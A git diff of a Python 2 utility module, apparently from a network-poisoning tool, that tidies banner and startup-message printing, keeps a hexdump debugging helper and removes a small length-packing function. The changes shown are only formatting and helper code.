' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
||||
|
@ -282,6 +241,7 @@ def banner():
|
|||
print " To kill this script hit CRTL-C"
|
||||
print ""
|
||||
|
||||
|
||||
def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
|
@ -331,21 +291,16 @@ def StartupMessage():
|
|||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
||||
|
||||
if len(settings.Config.RespondTo):
|
||||
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.RespondToName):
|
||||
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondTo):
|
||||
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
||||
|
||||
if len(settings.Config.DontRespondToName):
|
||||
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
||||
print "\n\n"
|
||||
|
||||
print ""
|
||||
print ""
|
||||
|
||||
# Useful for debugging
|
||||
def hexdump(src, l=0x16):
|
||||
|
@ -383,7 +338,3 @@ def hexdump(src, l=0x16):
|
|||
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
|
||||
|
||||
return '\n'.join(res)
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue